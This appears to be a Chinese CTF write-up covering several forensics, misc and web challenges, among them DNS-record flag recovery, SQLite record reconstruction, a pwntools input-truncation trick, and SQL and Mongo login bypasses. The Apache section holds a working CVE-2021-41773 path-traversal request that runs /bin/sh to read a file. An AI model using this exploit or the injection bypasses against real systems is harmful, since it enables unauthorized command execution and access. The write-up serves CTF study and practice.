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钓鱼邮件识别
两部分解base64，各一个flag
后面没有什么地方有有用信息了，根据题目钓鱼邮件，可能第三段flag就跟DMARC、DKIM 和 SPF有关了什么是 DMARC、DKIM 和 SPF？ | Cloudflare (cloudflare-cn.com)
先看DKIM部分kmille/dkim-verify: Verifying a DKIM-Signature by hand (github.com)
解析一下主域名，得到提示有三段flag，估计就对应DMARC、DKIM 和 SPF三种方法了
照着里面所说构造DKIM的域名
default._domainkey.foobar-edu-cn.com
拿到第二段flag
_Kn0wH0wt0_
思路正确，接着照着文章分别构造DMARC跟SPF的域名
_dmarc.foobar-edu-cn.com
spf.foobar-edu-cn.com
拼一下
flag{N0wY0u_Kn0wH0wt0_ANAlys1sDNS}}
easyshell
冰蝎默认密码
下载了加密的temp.zip
后一个
读了secret2.txt
下载下来明文攻击直接打
SecretDB
可以先用fqlite看一遍，大概就可以看出flag是根据sort排的，（当然这一步没有问题也不是很大）
定位到数据部分之后，一眼看到flag数据，接着就是顺序问题了
优先看g{，因为这俩在flag{uuid}显然只会出现一次。对比一下可以看出sort字段跟message字段就前后两字节的，人话：flag数据前一位就是对应顺序
往后再定位一下l，会发现他前面对应是0x0F，肯定有问题。（上两图是比赛时已经改过了的）
再看后面的4}ab6deb数据对比前面数据位置会发现偏移了一下，应该是l对应的sort字段被删了，手动补个0x02即可
python
with open('secret.db', 'rb') as f:
data = f.read()[7879:8193]
flag_dict = {}
for i in range(0, len(data), 8):
flag_dict[data[i]] = chr(data[i + 1])
flag = ''
for i in range(0, 42):
if i not in flag_dict.keys():
flag += '?'
else:
flag += flag_dict[i]
print(flag)
#?lag{f6291bf0-923c-4ba6??2d7-ffabba4e8f0b}第一个?肯定是f不用管了，仔细核对原来数据发现还有个-也有一字节的偏移，位置对应是0x17即第二个问号的位置
因此可以得到，剩一个位置不知道
flag{f6291bf0-923c-4ba6-?2d7-ffabba4e8f0b}
搜0x18也没有找到后面跟着有效数据的，猜测该数据是被删除了，直接爆破flag即可，最终：
flag{f6291bf0-923c-4ba6-82d7-ffabba4e8f0b}
Gateway
/cgi-bin/baseinfoSet.json里一眼密码
简单处理一下
python
a='106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&56&103&102&56&52&101&104&102&105&53&101&53&102&129'
print(' '.join(a.split('&')))
预期解估计是
python
a='106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&56&103&102&56&52&101&104&102&105&53&101&53&102&129'
for i in a.split('&'):
tmp = chr(int(i))
if tmp.isdigit():
print(tmp,end='')
else:
print(chr(int(i)-4),end='')2b题，下一道
zip
源码只比对了flag{，直接拿[del]去截断，注意zip和unzip部分token只需要发64位即可
python
from pwn import *
r = remote('prob03.contest.pku.edu.cn', 10003)
token = '523:MEYCIQChFc9bqsFSI9TBeO1FBPx0uap8LyAozcEXSdh3j4T49gIhAN3MG2j3b33B3kuUES0cEmJZqq4WBi_yp54FP90x8cUy'
r.sendline(token.encode())
recv = r.recvuntil('your token:')
print(recv.decode())
r.sendline(token[:64].encode())
recv = r.recvuntil('your flag:')
print(recv.decode())
exp = ('flag{' + chr(127)*5 + token[:64]).encode()
r.sendline(exp)
r.interactive()
Apache
apache版本2.4.49
源码
构造一下POST包，CVE-2021-41773直接打
python
import requests
exp = f'''
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 1.1.1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
Connection: close
echo;cat /flag
'''.replace('\n','\r\n')
url = r'https://prob01-2gnkdedc.contest.pku.edu.cn/nc'
data = f'''------WebKitFormBoundaryaaaaa
Content-Disposition: form-data; name="port"
80
------WebKitFormBoundaryaaaaa
Content-Disposition: form-data; name="data"
{exp}
------WebKitFormBoundaryaaaaa--
'''
head = {
'Content-Type' : 'multipart/form-data; boundary=----WebKitFormBoundaryaaaaa',
}
test = requests.post(url,data=data,headers=head).text
print(test)f for r
GEEKCON 原题 https://qanux.github.io/2024/04/22/geek2024/index.html
python
from ctypes import (windll, wintypes, c_uint64, cast, POINTER, Union, c_ubyte,
LittleEndianStructure, byref, c_size_t)
import zlib
# types and flags
DELTA_FLAG_TYPE = c_uint64
DELTA_FLAG_NONE = 0x00000000
DELTA_APPLY_FLAG_ALLOW_PA19 = 0x00000001
# structures
class DELTA_INPUT(LittleEndianStructure):
class U1(Union):
_fields_ = [('lpcStart', wintypes.LPVOID),
('lpStart', wintypes.LPVOID)]
_anonymous_ = ('u1',)
_fields_ = [('u1', U1),
('uSize', c_size_t),
('Editable', wintypes.BOOL)]
class DELTA_OUTPUT(LittleEndianStructure):
_fields_ = [('lpStart', wintypes.LPVOID),
('uSize', c_size_t)]
# functions
ApplyDeltaB = windll.msdelta.ApplyDeltaB
ApplyDeltaB.argtypes = [DELTA_FLAG_TYPE, DELTA_INPUT, DELTA_INPUT,
POINTER(DELTA_OUTPUT)]
ApplyDeltaB.rettype = wintypes.BOOL
DeltaFree = windll.msdelta.DeltaFree
DeltaFree.argtypes = [wintypes.LPVOID]
DeltaFree.rettype = wintypes.BOOL
gle = windll.kernel32.GetLastError
def apply_patchfile_to_buffer(buf, buflen, patchpath, legacy):
with open(patchpath, 'rb') as patch:
patch_contents = patch.read()
# most (all?) patches (Windows Update MSU) come with a CRC32 prepended to thefile
# we don't really care if it is valid or not, we just need to remove it if itis there
# we only need to calculate if the file starts with PA30 or PA19 and then hasPA30 or PA19 after it
magic = [b"PA30"]
if legacy:
magic.append(b"PA19")
if patch_contents[:4] in magic and patch_contents[4:][:4] in magic:
# we have to validate and strip the crc instead of just stripping it
crc = int.from_bytes(patch_contents[:4], 'little')
if zlib.crc32(patch_contents[4:]) == crc:
# crc is valid, strip it, else don't
patch_contents = patch_contents[4:]
elif patch_contents[4:][:4] in magic:
# validate the header strip the CRC, we don't care about it
patch_contents = patch_contents[4:]
# check if there is just no CRC at all
elif patch_contents[:4] not in magic:
# this just isn't valid
raise Exception("Patch file is invalid")
applyflags = DELTA_APPLY_FLAG_ALLOW_PA19 if legacy else DELTA_FLAG_NONE
dd = DELTA_INPUT()
ds = DELTA_INPUT()
dout = DELTA_OUTPUT()
ds.lpcStart = buf
ds.uSize = buflen
ds.Editable = False
dd.lpcStart = cast(patch_contents, wintypes.LPVOID)
dd.uSize = len(patch_contents)
dd.Editable = False
status = ApplyDeltaB(applyflags, ds, dd, byref(dout))
if status == 0:
raise Exception("Patch {} failed with error {}".format(patchpath, gle()))
return (dout.lpStart, dout.uSize)
if __name__ == '__main__':
import sys
import base64
import hashlib
import argparse
ap = argparse.ArgumentParser()
mode = ap.add_mutually_exclusive_group(required=True)
output = ap.add_mutually_exclusive_group(required=True)
mode.add_argument("-i", "--input-file",
help="File to patch (forward or reverse)")
mode.add_argument("-n", "--null", action="store_true", default=False,
help="Create the output file from a null diff "
"(null diff must be the first one specified)")
output.add_argument("-o", "--output-file",
help="Destination to write patched file to")
output.add_argument("-d", "--dry-run", action="store_true",
help="Don't write patch, just see if it would patch"
"correctly and get the resulting hash")
ap.add_argument("-l", "--legacy", action='store_true', default=False,
help="Let the API use the PA19 legacy API (if required)")
ap.add_argument("patches", nargs='+', help="Patches to apply")
args = ap.parse_args()
if not args.dry_run and not args.output_file:
print("Either specify -d or -o", file=sys.stderr)
ap.print_help()
sys.exit(1)
if args.null:
inbuf = b""
else:
with open(args.input_file, 'rb') as r:
inbuf = r.read()
buf = cast(inbuf, wintypes.LPVOID)
n = len(inbuf)
to_free = []
try:
for patch in args.patches:
buf, n = apply_patchfile_to_buffer(buf, n, patch, args.legacy)
to_free.append(buf)
outbuf = bytes((c_ubyte*n).from_address(buf))
if not args.dry_run:
with open(args.output_file, 'wb') as w:
w.write(outbuf)
finally:
for buf in to_free:
DeltaFree(buf)
finalhash = hashlib.sha256(outbuf)
print("Applied {} patch{} successfully"
.format(len(args.patches), "es" if len(args.patches) > 1 else ""))
print("Final hash: {}"
.format(base64.b64encode(finalhash.digest()).decode()))主机、虚拟机试了4种不同curl版本才出来
其他版本都报错
web
phpsql
单引号闭合万能密码绕过
Messy Mongo
给了login的patch，没一点过滤，考虑普通用户登陆之后新建一个ADMIN，然后直接利用$toLower去覆盖admin的mongo集合
